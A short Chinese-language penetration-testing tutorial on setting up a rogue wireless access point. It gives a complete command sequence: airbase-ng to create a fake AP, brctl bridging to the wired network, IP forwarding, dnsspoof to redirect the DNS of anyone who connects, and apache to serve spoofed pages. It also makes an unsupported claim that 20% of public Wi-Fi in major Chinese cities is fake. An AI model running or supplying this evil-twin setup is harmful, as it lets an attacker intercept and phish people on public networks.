无线渗透_伪造流氓AP

其他工具

WPS

• 蹭网与被蹭网

• 北上广20%的公共场所无线网络是伪造的

演示：

• 生成AP

airbase-ng -c 11 --essid <AP名称> wlan0mon

• 安装无线网卡和有线网卡的桥接工具

apt-get install bridge-utils

• 安装好之后新建一个桥

brctl addbr bri1

• 将物理网卡加入桥中

brctl addif bri1 eth0

• 将伪造AP加入桥中

brctl addif bri1 at0

注意：at0是伪造AP接口

• 启动网卡并抹除IP地址

ifconfig eth0 0.0.0.0 upifconfig at0 0.0.0.0 up

• 给网桥分配IP地址

ifconfig bri1 192.168.0.137 up

• 添加路由

route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.0.1

• 开启IP转发

echo 1 > /proc/sys/net/ipv4/ip_forward

• 别人连接之后可进行DNS欺骗

dnspoof -i bri1 -f dnsspoof.hosts

注：格式可参考/usr/share/dsniff/dnsspoof.hosts

• 之后开启apache服务即可

apache2ctl start